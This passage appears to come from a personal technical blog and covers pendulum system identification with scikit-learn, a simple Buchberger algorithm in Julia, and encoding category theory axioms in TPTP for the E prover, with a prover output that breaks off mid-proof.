Should I just use rational polynomials and be done with it? Sympy? $\frac{d^2}{dx^2}y = 0$ and $\frac{d}{dx}y = 0$ are different equations, describing different behaviors. Am I even capturing that though? Is my syzygy powered composition even right? It seemed to work on a couple small examples and I think it makes sense. I dunno. Open to comments. Because univariate polynomials are a principal ideal domain (pid), we can also use smith forms rather than syzygies is my understanding. Perhaps AbstractAlgebra.jl might be a better tool? Will the syzygy thing be good for band theory? We’re in the multivariate setting then so smith normal form no longer applies. ## System Identification of a Pendulum with scikit-learn System identification is the name of the problem of finding the dynamics of a physical system. It is an old topic. For some interesting material on system identification, check out Steve Brunton’s video here https://www.youtube.com/watch?v=6F2YVsT9dOs We’ve been building a raspberry pi controlled pendulum to be controlled from the internet and the problem came up of trying to get a simulation to match the physical pendulum. We weighed the pendulum and calculated the torque due to gravity $mg\frac{l}{2} \sin(\theta)$ (you can think of it as the full force of gravity acting on the level arm of the center of the pole $\frac{l}{2}\sin(\theta)$) and moment of inertia of a rod about it’s end $\frac{1}{3}m L^2$. However, It is difficult to estimate the torque supplied by the motor. Motors have surprisingly complicated behavior. It is also difficult from first principles to estimate damping or friction terms. There are a couple different experimental stratagems for a pendulum. One thing we tried was setting the pendulum on it’s side and setting the motor duty cycle to different values. From this you can fit a parabola to those curves and get a acceleration constant for the different motor settings. Experimentally speaking, it seemed roughly linear acceleration to motor PWM duty cycle. Another stratagem is to take resonance curves for the pendulum. Try exciting it with different sinusoidal torques at a sweep of frequencies. From this curve you can recover a resonance frequency and damping coefficients. These all make sense as kind of ersatz methods. We’re taking our intuitive understanding of the system and other results from simpler or related systems and combining them together. An interesting alternative approach to the above is to drive the pendulum with a random torque and then fit a parameterized model of the equations of motion to the observed acceleration. The model should include at the least the gravity $\beta_1 sin(\theta)$ term, motor torque term $\beta_2 u$, and a damping terms $\beta_3 \dot{\theta}$. A simple start is $\alpha = \beta_1 sin(\theta) + \beta_2 u + \beta_3 \dot{\theta}$. This is a linear model with respect to the coefficients $\beta_i$ and can be solved by least squares. I’ve come to appreciate sci-kit learn for fitting. It doesn’t have the hottest most high falutin’ fads, but it’s got a lot of good algorithms in it that just work, are damn easy to use, and are easy to swap different possibilities out of there. Even though I know how to more manually set up a least squares system or solve a LASSO problem via cvxpy, it makes it really easy and clean. I’ve started reaching for it for fast attacks on fitting problems. We mocked out our interface to behave similarly to an OpenAI gym interface. Because of this, the observations already have the cosine and sine terms that might be of interest and the angular velocity value that would be used for a simple damping term $\beta \dot{\theta}$.  import gym import time import numpy as np env = gym.make('pendulum-v0') observation = env.reset() action = 0 dt = 0.05 obs = [] rews = [] actions = [] for i in range(1000): # A random walk for actions. # we need the actions to be slow changing enough to see trends # but fast enough to see interesting behavior # tune this by hand action += np.random.randn() * dt action = max( min(action, 2 ), -2) observation, reward, done, info = env.step([action]) obs.append(observation) actions.append(action) rews.append(reward) time.sleep(0.05) obs = np.array(obs) # obs includes thetadot, cos(theta), sin(theta). A good start. actions = np.array(actions) # the pwm value used # data to predict alpha from. Each row is a data point from one time step. X = np.hstack( (obs[:-1, :] , actions[:-1].reshape(-1,1)) ) alphas = (obs[1:,2] - obs[:-1,2] ) / dt #angular acceleration # feel free to swap in LASSO or other regressors from sklearn.linear_model import LinearRegression # fit the observed angular acceleration as a function of X reg = LinearRegression().fit(X, alphas) print(f"intercept : {reg.intercept_}, coeffs : {reg.coef_} ") The number that came out for gravity term matched the number calculated from first principles by within 10%. Not bad! A thing that is nice about this approach is that one is able to add terms into the dynamics for which we don’t have good intuitive models to compare to like your good ole Physics I Coulombic friction term $F \propto -sign(v)$ or nonlinearities. ## A Buchberger in Julia Similarly to how Gaussian elimination putting linear equations into LU form solves most linear algebra problems one might care about, Buchberger’s algorithm for finding a Grobner basis of a system of multivariate polynomial equations solves most questions you might ask. Some fun applications • Linkages • Geometrical Theorem proving. Circles are x^2 + y^2 – 1 = 0 and so on. • Optics • Constraint satisfaction problems. x^2 – 1 = 0 gives you a boolean variable. It’s a horrible method but it works if your computer doesn’t explode. • Energy and momentum conservation. “Classical Feynman Diagrams” p1 + p2 = p3 + p4 and so on. • Frequency domain circuits and linear dynamical systems 😉 more on this another day To learn more about Grobner bases I highly recommend Cox Little O’Shea To understand what a Grobner basis is, first know that univariate polynomial long division is a thing. It’s useful for determining if one polynomial is a multiple of another. If so, then you’ll find the remainder is zero. One could want to lift the problem of determining if a polynomial is a multiple of others to multivariate polynomials. Somewhat surprisingly the definition of long division has some choice in it. Sure, x^2 is a term that is ahead of x, but is x a larger term than y? y^2? These different choices are admissible. In addition now one has systems of equations. Which equation do we divide by first? It turns out to matter and change the result. That is unless one has converted into a Grobner Basis. A Grobner basis is a set of polynomials such that remainder under multinomial division becomes unique regardless of the order in which division occurs. How does one find such a basis? In essence kind of by brute force. You consider all possible polynomials that could divide two ways depending on your choice. Julia has packages for multivariate polynomials. https://github.com/JuliaAlgebra/MultivariatePolynomials.jl defines an abstract interface and generic functions. DynamicPolynomials gives flexible representation for construction. TypedPolynomials gives a faster representation. These already implement a bulk of what we need to get a basic Buchberger going: Datastructures, arithmetic, and division with remainder. With one caveat, there is already a picked monomial ordering. And it’s not lexicographic, which is the nice one for eliminating variables. This would not be too hard to change though? Polynomial long division with respect to a set of polynomials is implemented here https://github.com/JuliaAlgebra/MultivariatePolynomials.jl/blob/9a0f7bf531ba3346f0c2ccf319ae92bf4dc261af/src/division.jl#L60 Unfortunately, (or fortunately? A good learning experience. Learned some stuff about datastructures and types in julia so that’s nice) quite late I realized that a very similar Grobner basis algorithm to the below is implemented inside of of SemiAlgebraic.jl package. Sigh. using MultivariatePolynomials using DataStructures function spoly(p,q) pq = lcm(leadingmonomial(p),leadingmonomial(q)) return div( pq , leadingterm(p) ) * p - div(pq , leadingterm(q)) * q end function isgrobner(F::Array{T}) where {T <: AbstractPolynomialLike} # check buchberger criterion for (i, f1) in enumerate(F) for f2 in F[i+1:end] s = spoly(f1,f2) _,s = divrem(s,F) if !iszero(s) return false end end end return true end function buchberger(F::Array{T}) where {T <: AbstractPolynomialLike} pairs = Queue{Tuple{T,T}}() # intialize with all pairs from F for (i, f1) in enumerate(F) for f2 in F[i+1:end] enqueue!(pairs, (f1,f2)) end end # consider all possible s-polynomials and reduce them while !isempty(pairs) (f1,f2) = dequeue!(pairs) s = spoly(f1,f2) _,s = divrem(s,F) if !iszero(s) #isapproxzero? Only add to our set if doesn't completely reduce for f in F enqueue!(pairs, (s,f)) end push!(F,s) end end # reduce redundant entries in grobner basis. G = Array{T}(undef, 0) while !isempty(F) f = pop!(F) _,r = divrem(f, vcat(F,G)) if !iszero(r) push!(G,r) end end return G end Some usage. You can see here that Gaussian elimination implemented by the backslash operator is a special case of taking the Grobner basis of a linear set of equations  using DynamicPolynomials @polyvar x y buchberger( [ x + 1.0 + y , 2.0x + 3y + 7 ] ) #= 2-element Array{Polynomial{true,Float64},1}: -0.5y - 2.5 x - 4.0 =# [ 1 1 ; 2 3 ] \ [-1 ; -7] #= 2-element Array{Float64,1}: 4.0 -5.0 =# buchberger( [ x^3 - y , x^2 - x*y ]) #= 3-element Array{Polynomial{true,Int64},1}: -xy + y² y³ - y x² - y² =# ## Improvements Many. This is not a good Buchberger implementation, but it is simple. See http://www.scholarpedia.org/article/Buchberger%27s_algorithm for some tips, which include criterion for avoiding unneeded spolynomial pairs, and smart ordering. Better Buchberger implementations will use the f4 or f5 algorithm, which use sparse matrix facilities to perform many division steps in parallel. My vague impression of this f4 algorithm is that you prefill a sparse matrix (rows correspond to an spolynomial or monomial multiple of your current basis, columns correspond to monomials) with monomial multiples of your current basis that you know you might need. In my implementation, I’m tossing away the div part of divrem. It can be useful to retain these so you know how to write your Grobner basis in terms of the original basis. You may want to look at the julia bindings to Singular.jl ## Links ## Category Theory in the E Automated Theorem Prover At least in the circles I travel in, interactive theorem provers like Agda, Coq, Lean, Isabelle have more mindspace than automatic theorem provers. I haven’t seen much effort to explore category theory in the automatic provers so I thought I’d try it. ### Interactive Systems There are a number of projects formalizing category theory in these systems All of these systems are using some variant of higher order logic where you can quantify over propositions. This is very expressive, but also are more difficult to automate (They do have significant automation in them though, but this tends to be for filling in the relatively obvious intermediate details of a proof, not complete automation). Perhaps this has some relation to Godel’s incompleteness theorem ### Automated Theorem Provers There are other classes of theorem proving systems: automatic theorem provers and SMT solvers. Can we do category theory in them? Doesn’t Automatic sound real nice in principle? ATP and SMT are similar in some respects but are architected differently and have slightly different use cases and strengths: • SMT solvers are based around SAT solvers and tractable sub problems (theories). They have subsystems that deeply understand linear equations, linear inequalities, systems of polynomials, theory of uninterpreted functions, bit-blasting, others. They combine these facilities via the Nelson-Oppen procedure. They are fairly weak at quantifier reasoning. They are good at problems that require lots of domain specific understanding. Examples of SMT solvers include Z3, CVC4, Alt Ergo, Boolector. You can find more and comparisons at the SMT competition • While the term Automatic Theorem Prover (ATP) could mean anything, it has a tendency to denote a class of first order logic solvers based around resolution. Examples of such provers include Vampire, E, and Prover9. You can find more at the CADE competition. They are more oriented to abstract first order logic structures and quantifier reasoning. A big downside of automatic methods is that once they start to fail, you’re more hosed than the interactive provers. Until then, it’s great though. ### Categories in ATP Category theory proofs have a feeling of being close to trivial (at least the ones I’ve seen, but I’ve mostly seen the trivial ones so…? ), amounting to laboriously expanding definitions and rewrite equations corresponding to commutation conditions. An automatic system to verify these seems useful. What are the kinds of questions one wants to ask these provers? • Confirmation that a concrete mathematical structure (integers, reals, bools, abstract/concrete preorder, group, lattice) obeys the required categorical axioms/interface. The axioms of category structures are the conjectures here • Confirmation that abstract categorical constructions do what they’re supposed to. One presupposes categorical axioms and structures and asks conjecture conclusions. For example, given this square, does this other diagram commute? Is this “diagram chasing“? These are yes/no questions. Although in the case of no, often a counterexample is emitted which can help show where you went awry. A third task that is more exciting to me, but harder and not an obvious stock capability of these provers is • Calculate/construct something categorical. For example, we might want to construct a condensed or efficient version of some program given by a categorical spec, or emit a categorical construction that has certain properties. There are clear analogies with program verification vs. program synthesis. Now it appears that to some degree this is possible. I have noted that in the proof output, one can sometimes find terms that may correspond to the thing you desire, especially if you ask an existential conjecture, “does there exists a morphism with such and such a property”. ### Formulating Category Theory in First Order Logic TPTP is both a problem library and specification language for first order problems for the purposes of computer provers. There is a nice overview video here. There is a nice web interface to explore different provers here. The TPTP library contains four different axiomatizations for categories, and a number of problems There is a good set of videos explaining how to formalize category axioms in a first order setting. https://www.youtube.com/watch?v=NjDZMWdDJKM&list=PL4FD0wu2mjWOtmhJsiVrCpzOAk42uhdz8&index=6&t=0s he has a couple different formulation actually. It’s interesting. Here’s a stack overflow https://math.stackexchange.com/questions/2383503/category-theory-from-the-first-order-logic-point-of-view along with a small discussion of why it’s wrong headed to even do such a thing. I’m not sure I agree with the second part. Here is my encoding. I am not 100% confident anything I’ve done here is right. Note that composition is expressed as a ternary relation. This is one way of handling the fact that without stronger typing discipline, composition is a partial binary function. In order to compose, morphisms need to meet on an intermediate object. Categorical “typing” is expressed via logical constraint on the relation. A trick one can use is to identify the identity arrows and the objects at which they are based. Since every object is required to have an identity arrow and every identity arrow points from and to a single object, they are in isomorphism. There is some conceptual disclarity that occurs from this trick though. I’m not totally sold. TPTP syntax is mostly straightforward but note that ! [X] is forall X, ? [X] is exists X, capital names are variables, lowercase names are constants. Quantifiers bind tighter than I personally expected, hence my parenthesis explosion. % axioms of a category % we would resupply this for every category involved? % ! [X] is forall X, ? [X] is exists X. Capital names are variables % lowercase names are constants. fof( dom_cod, axiom, ![X] : dom(cod(X)) = cod(X)). fof( cod_dom, axiom, ![X] : cod(dom(X)) = dom(X)). fof( comp_is_unique, axiom, ![F, G, FG1, FG2] : ((comp(F,G,FG1) & comp(F,G,FG2)) => FG1 = FG2) ). fof( comp_objects_middle, axiom, ![F, G] : ((? [FG] : comp(F,G,FG)) <=> dom(F) = cod(G))). fof( comp_dom, axiom, ![F, G, FG] : (comp(F,G,FG) => dom(G) = dom(FG))). fof( comp_cod, axiom, ![F, G, FG] : (comp(F,G,FG) => cod(F) = cod(FG))). fof( left_id, axiom, ![F] : comp(cod(F),F,F) ). fof( right_id, axiom, ![F] : comp(F,dom(F),F) ). % I've heard that composition axioms cause churn? fof( comp_assoc, axiom, ![F, G, H, FG, GH, FGH1, FGH2] : ((comp(F,G,FG) & comp(FG,H,FGH1) & comp(F,GH,FGH2) & comp(G,H,GH)) => FGH1 = FGH2 )). Here are some definitions. One could also just inline these definitions with a macro system. Uniqueness quantification occurs in universal properties. It’s sort of a subtle idea to encode into ordinary first order logic without uniqueness quantification. Are some encoding better than others? Another place where macros to generate TPTP files would be useful. Uniqueness quantification is naturally expressible as a higher order predicate. fof(monic_def, axiom, ![M] : (monic(M) <=> (! [F,G] : (( ? [H] : (comp(M, F, H) & comp(M,G,H))) => F = G)))). fof(commute_square_def, axiom, ![F,G,H,K] : (commute_square(F,G,H,K) <=> (? [M] : (comp(F,G,M) & comp(H,K,M))))). fof(pullback_def, axiom, ![F,G,P1,P2] : (pullback(F,G,P1,P2) <=> (commute_square(F,P1,G,P2) & (![Q1,Q2] : (commute_square(F,Q1,G,Q2) => (?[U] : (! [U1] : ((comp(P1,U1,Q1) & comp(P2,U1,Q2)) <=> (U1 = U)))) ))))).  Here are some pretty simple problems: % should be a trivial statement, but isn't literally an axiom. fof( codcod, conjecture, ![F] : cod(cod(F)) = cod(F) ). % paste two commuting squares together gives another commuting square fof( pasting_square,conjecture, ![A,B,C,D, I,J,K, BI, CJ] : ((commute_square(B,A,D,C) & commute_square(I,D,K,J) & comp(I,B, IB) & comp( J, C,JC)) => commute_square( IB,A, K,JC ) )). One theorem that is not quite so trivial is the pullback of a monic is monic https://math.stackexchange.com/questions/2957202/proving-the-pullback-of-monics-is-monic. It’s ultimately not that complicated and yet difficult enough that it takes me a lot of head scratching. It crucially uses the uniqueness property of the pullback. Here’s an encoding of the conjecture. include('cat.tptp'). include('constructions.tptp'). % warmup? %fof(pullback_monic, conjecture, ![M, P1,P2] : ((monic(M) & pullback(cod(M),M,P1,P2)) => %monic(P2))). % pullback of monic is monic fof(pullback_monic, conjecture, ![M, F, P1,P2] : ((monic(M) & pullback(F,M,P1,P2)) => monic(P1))). Invoking the prover. eprover --auto-schedule --cpu-limit=60 --proof-object monic_pullback.tptp Vampire appears to do it faster. Again the easiest way to try it yourself or compare other solvers is the web interface System on TPTP http://www.tptp.org/cgi-bin/SystemOnTPTP. Caveat: given how many times I’ve screwed up writing this post, I’d give a 40% chance that that final theorem is actually expressing what I intended it to. ### Bits and Bobbles Encoding our questions into first order logic, which is powerful but not fully expressive, requires a lot of “macro” like repetitiveness when possible at all. I have found through experience that the extra macro capabilities given by python for emitting Z3 problems to be extremely powerful. For this reason, we should use a real programming language to emit these problems. I think the logical candidate is Julia and the Catlab library. One unknown question, will this repetitiveness choke the theorem prover? Categorical Constructions that one might want to encode: • Monic • Epic • Commuting Squares • Pullbacks • Pushouts • products • coproducts • exponential objects • Subobject classifiers • Finite categories • Functors • Natural transformations • Adjunctions • Kan Extensions • PreSheaves Theorems that seem possible. (Surely there are many more. Some observations on actually using these provers: Just because it says proved is not very convincing. It is very easy to have your axioms and/or conjecture stated incorrectly. Forall ! and Exists ? bind tighter than I naively expect them to in the syntax. I ended up putting parenthesis nearly everywhere. I had a lot of very difficult to debug problems due to bad binding assumptions. Typos are also a disaster. These things are hard to debug. It is helpful to alternatively ask for satisfiability (disproving the conjecture). One should also at least look at which axioms it’s using. If it is using less axioms than makes sense, something is up. These are all good reasons that it might be better to automatically generate these problem files. Ultimately I feel like that is the way to go, because encoding what you’re interested in into first order logic can require some repetitiveness. Sanity checking my files with http://www.tptp.org/cgi-bin/SystemB4TPTP proved to be helpful. Also looking at the parenthesis structure in the output. I think using the typed tff format could also help sanity significantly. It really sucks that a typo on one of your predicates or variables can fail silently. Even ignoring syntax screwups, the scoping of quantifiers is tough to think about. I suspect that these systems will be very good for proofs that amount to unrolling definitions. What is the best formulation for category theory properties? An interesting property is that these provers seem to want a time limit given to them. And they schedule themselves in such a way to use the full time limit, even if they shouldn’t need it. Categorical “type checking” as an external predicate. In order to compose, morphisms need to meet on an intermediate object. The proof output is rather difficult to read. It is the equivalent of trying to read assembly code. The high level structure has been transformed into something more amenable to the machine and many names have been mangled. This proof is short enough that I think a person could stare at it for a while an eventually kind of understand it. Perhaps we want to directly input our constructions in cnf form with skolemization manually applied. This might make the output more readable? In terms of automated category theory proving, I’m not aware of that much work, but there must be more that I don’t know how to find. Example proof term: Is this even right? Hard to know. # Proof found! # SZS status Theorem # SZS output start CNFRefutation fof(pullback_monic, conjecture, ![X11, X13, X14]:((monic(X11)&pullback(cod(X11),X11,X13,X14))=>monic(X14)), file('properties.tptp', pullback_monic)). fof(pullback_def, axiom, ![X2, X3, X13, X14]:(pullback(X2,X3,X13,X14)<=>(commute_square(X2,X13,X3,X14)&![X15, X16]:(commute_square(X2,X15,X3,X16)=>?[X17]:![X18]:((comp(X13,X18,X15)&comp(X14,X18,X16))<=>X18=X17)))), file('properties.tptp', pullback_def)). fof(commute_square_def, axiom, ![X2, X3, X7, X12]:(commute_square(X2,X3,X7,X12)<=>?[X11]:(comp(X2,X3,X11)&comp(X7,X12,X11))), file('properties.tptp', commute_square_def)). fof(comp_objects_middle, axiom, ![X2, X3]:(?[X6]:comp(X2,X3,X6)<=>dom(X2)=cod(X3)), file('cat.tptp', comp_objects_middle)). fof(dom_cod, axiom, ![X1]:dom(cod(X1))=cod(X1), file('cat.tptp', dom_cod)). fof(left_id, axiom, ![X2]:comp(cod(X2),X2,X2), file('cat.tptp', left_id)). fof(comp_is_unique, axiom, ![X2, X3, X4, X5]:((comp(X2,X3,X4)&comp(X2,X3,X5))=>X4=X5), file('cat.tptp', comp_is_unique)). fof(monic_def, axiom, ![X11]:(monic(X11)<=>![X2, X3]:(?[X7]:(comp(X11,X2,X7)&comp(X11,X3,X7))=>X2=X3)), file('properties.tptp', monic_def)). fof(comp_cod, axiom, ![X2, X3, X6]:(comp(X2,X3,X6)=>cod(X2)=cod(X6)), file('cat.tptp', comp_cod)). fof(comp_dom, axiom, ![X2, X3, X6]:(comp(X2,X3,X6)=>dom(X3)=dom(X6)), file('cat.tptp', comp_dom)). fof(comp_assoc, axiom, ![X2, X3, X7, X6, X8, X9, X10]:((((comp(X2,X3,X6)&comp(X6,X7,X9))&comp(X2,X8,X10))&comp(X3,X7,X8))=>X9=X10), file('cat.tptp', comp_assoc)). fof(c_0_11, negated_conjecture, ~(![X11, X13, X14]:((monic(X11)&pullback(cod(X11),X11,X13,X14))=>monic(X14))), inference(assume_negation,[status(cth)],[pullback_monic])). fof(c_0_12, plain, ![X68, X69, X70, X71, X72, X73, X75, X76, X77, X78, X79, X80, X83]:(((commute_square(X68,X70,X69,X71)|~pullback(X68,X69,X70,X71))&((~comp(X70,X75,X72)|~comp(X71,X75,X73)|X75=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71))&((comp(X70,X76,X72)|X76!=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71))&(comp(X71,X76,X73)|X76!=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71)))))&((commute_square(X77,esk8_4(X77,X78,X79,X80),X78,esk9_4(X77,X78,X79,X80))|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&((~comp(X79,esk10_5(X77,X78,X79,X80,X83),esk8_4(X77,X78,X79,X80))|~comp(X80,esk10_5(X77,X78,X79,X80,X83),esk9_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)!=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&((comp(X79,esk10_5(X77,X78,X79,X80,X83),esk8_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&(comp(X80,esk10_5(X77,X78,X79,X80,X83),esk9_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80)))))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[pullback_def])])])])])])). fof(c_0_13, negated_conjecture, ((monic(esk11_0)&pullback(cod(esk11_0),esk11_0,esk12_0,esk13_0))&~monic(esk13_0)), inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[c_0_11])])])). fof(c_0_14, plain, ![X58, X59, X60, X61, X63, X64, X65, X66, X67]:(((comp(X58,X59,esk6_4(X58,X59,X60,X61))|~commute_square(X58,X59,X60,X61))&(comp(X60,X61,esk6_4(X58,X59,X60,X61))|~commute_square(X58,X59,X60,X61)))&(~comp(X63,X64,X67)|~comp(X65,X66,X67)|commute_square(X63,X64,X65,X66))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[commute_square_def])])])])])])). cnf(c_0_15, plain, (commute_square(X1,X2,X3,X4)|~pullback(X1,X3,X2,X4)), inference(split_conjunct,[status(thm)],[c_0_12])). cnf(c_0_16, negated_conjecture, (pullback(cod(esk11_0),esk11_0,esk12_0,esk13_0)), inference(split_conjunct,[status(thm)],[c_0_13])). fof(c_0_17, plain, ![X25, X26, X27, X28, X29]:((~comp(X25,X26,X27)|dom(X25)=cod(X26))&(dom(X28)!=cod(X29)|comp(X28,X29,esk1_2(X28,X29)))), inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_objects_middle])])])])])). cnf(c_0_18, plain, (comp(X1,X2,esk6_4(X1,X2,X3,X4))|~commute_square(X1,X2,X3,X4)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_19, negated_conjecture, (commute_square(cod(esk11_0),esk12_0,esk11_0,esk13_0)), inference(spm,[status(thm)],[c_0_15, c_0_16])). fof(c_0_20, plain, ![X19]:dom(cod(X19))=cod(X19), inference(variable_rename,[status(thm)],[dom_cod])). fof(c_0_21, plain, ![X37]:comp(cod(X37),X37,X37), inference(variable_rename,[status(thm)],[left_id])). cnf(c_0_22, plain, (dom(X1)=cod(X2)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_17])). cnf(c_0_23, negated_conjecture, (comp(cod(esk11_0),esk12_0,esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0))), inference(spm,[status(thm)],[c_0_18, c_0_19])). cnf(c_0_24, plain, (dom(cod(X1))=cod(X1)), inference(split_conjunct,[status(thm)],[c_0_20])). fof(c_0_25, plain, ![X21, X22, X23, X24]:(~comp(X21,X22,X23)|~comp(X21,X22,X24)|X23=X24), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_is_unique])])). cnf(c_0_26, plain, (comp(cod(X1),X1,X1)), inference(split_conjunct,[status(thm)],[c_0_21])). cnf(c_0_27, negated_conjecture, (cod(esk12_0)=cod(esk11_0)), inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_22, c_0_23]), c_0_24])). fof(c_0_28, plain, ![X46, X47, X48, X49, X50]:((~monic(X46)|(~comp(X46,X47,X49)|~comp(X46,X48,X49)|X47=X48))&(((comp(X50,esk2_1(X50),esk4_1(X50))|monic(X50))&(comp(X50,esk3_1(X50),esk4_1(X50))|monic(X50)))&(esk2_1(X50)!=esk3_1(X50)|monic(X50)))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[monic_def])])])])])])). cnf(c_0_29, plain, (X3=X4|~comp(X1,X2,X3)|~comp(X1,X2,X4)), inference(split_conjunct,[status(thm)],[c_0_25])). cnf(c_0_30, negated_conjecture, (comp(cod(esk11_0),esk12_0,esk12_0)), inference(spm,[status(thm)],[c_0_26, c_0_27])). fof(c_0_31, plain, ![X34, X35, X36]:(~comp(X34,X35,X36)|cod(X34)=cod(X36)), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_cod])])). cnf(c_0_32, negated_conjecture, (~monic(esk13_0)), inference(split_conjunct,[status(thm)],[c_0_13])). cnf(c_0_33, plain, (comp(X1,esk2_1(X1),esk4_1(X1))|monic(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_34, plain, (comp(X1,X2,esk6_4(X3,X4,X1,X2))|~commute_square(X3,X4,X1,X2)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_35, plain, (comp(X1,esk3_1(X1),esk4_1(X1))|monic(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_36, negated_conjecture, (X1=esk12_0|~comp(cod(esk11_0),esk12_0,X1)), inference(spm,[status(thm)],[c_0_29, c_0_30])). cnf(c_0_37, plain, (cod(X1)=cod(X3)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_31])). cnf(c_0_38, negated_conjecture, (comp(esk13_0,esk2_1(esk13_0),esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_32, c_0_33])). cnf(c_0_39, negated_conjecture, (comp(esk11_0,esk13_0,esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0))), inference(spm,[status(thm)],[c_0_34, c_0_19])). cnf(c_0_40, negated_conjecture, (comp(esk13_0,esk3_1(esk13_0),esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_32, c_0_35])). fof(c_0_41, plain, ![X31, X32, X33]:(~comp(X31,X32,X33)|dom(X32)=dom(X33)), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_dom])])). cnf(c_0_42, negated_conjecture, (esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0)=esk12_0), inference(spm,[status(thm)],[c_0_36, c_0_23])). cnf(c_0_43, negated_conjecture, (cod(esk4_1(esk13_0))=cod(esk13_0)), inference(spm,[status(thm)],[c_0_37, c_0_38])). cnf(c_0_44, negated_conjecture, (cod(esk13_0)=dom(esk11_0)), inference(spm,[status(thm)],[c_0_22, c_0_39])). cnf(c_0_45, plain, (comp(X1,X2,esk1_2(X1,X2))|dom(X1)!=cod(X2)), inference(split_conjunct,[status(thm)],[c_0_17])). cnf(c_0_46, negated_conjecture, (cod(esk3_1(esk13_0))=dom(esk13_0)), inference(spm,[status(thm)],[c_0_22, c_0_40])). cnf(c_0_47, plain, (dom(X2)=dom(X3)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_41])). cnf(c_0_48, negated_conjecture, (comp(esk11_0,esk13_0,esk12_0)), inference(rw,[status(thm)],[c_0_39, c_0_42])). cnf(c_0_49, negated_conjecture, (cod(esk4_1(esk13_0))=dom(esk11_0)), inference(rw,[status(thm)],[c_0_43, c_0_44])). fof(c_0_50, plain, ![X39, X40, X41, X42, X43, X44, X45]:(~comp(X39,X40,X42)|~comp(X42,X41,X44)|~comp(X39,X43,X45)|~comp(X40,X41,X43)|X44=X45), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_assoc])])). cnf(c_0_51, negated_conjecture, (comp(X1,esk3_1(esk13_0),esk1_2(X1,esk3_1(esk13_0)))|dom(X1)!=dom(esk13_0)), inference(spm,[status(thm)],[c_0_45, c_0_46])). cnf(c_0_52, negated_conjecture, (dom(esk12_0)=dom(esk13_0)), inference(spm,[status(thm)],[c_0_47, c_0_48])). cnf(c_0_53, negated_conjecture, (comp(X1,esk4_1(esk13_0),esk1_2(X1,esk4_1(esk13_0)))|dom(X1)!=dom(esk11_0)), inference(spm,[status(thm)],[c_0_45, c_0_49])). cnf(c_0_54, plain, (X5=X7|~comp(X1,X2,X3)|~comp(X3,X4,X5)|~comp(X1,X6,X7)|~comp(X2,X4,X6)), inference(split_conjunct,[status(thm)],[c_0_50])). cnf(c_0_55, negated_conjecture, (comp(esk12_0,esk3_1(esk13_0),esk1_2(esk12_0,esk3_1(esk13_0)))), inference(spm,[status(thm)],[c_0_51, c_0_52])). cnf(c_0_56, negated_conjecture, (cod(esk2_1(esk13_0))=dom(esk13_0)), inference(spm,[status(thm)],[c_0_22, c_0_38])). cnf(c_0_57, plain, (commute_square(X1,X2,X4,X5)|~comp(X1,X2,X3)|~comp(X4,X5,X3)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_58, negated_conjecture, (comp(esk11_0,esk4_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(er,[status(thm)],[c_0_53])). cnf(c_0_59, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=X1|~comp(X2,esk3_1(esk13_0),X3)|~comp(X4,X2,esk12_0)|~comp(X4,X3,X1)), inference(spm,[status(thm)],[c_0_54, c_0_55])). cnf(c_0_60, negated_conjecture, (comp(X1,esk2_1(esk13_0),esk1_2(X1,esk2_1(esk13_0)))|dom(X1)!=dom(esk13_0)), inference(spm,[status(thm)],[c_0_45, c_0_56])). cnf(c_0_61, plain, (X2=esk7_6(X6,X7,X1,X4,X3,X5)|~comp(X1,X2,X3)|~comp(X4,X2,X5)|~commute_square(X6,X3,X7,X5)|~pullback(X6,X7,X1,X4)), inference(split_conjunct,[status(thm)],[c_0_12])). cnf(c_0_62, negated_conjecture, 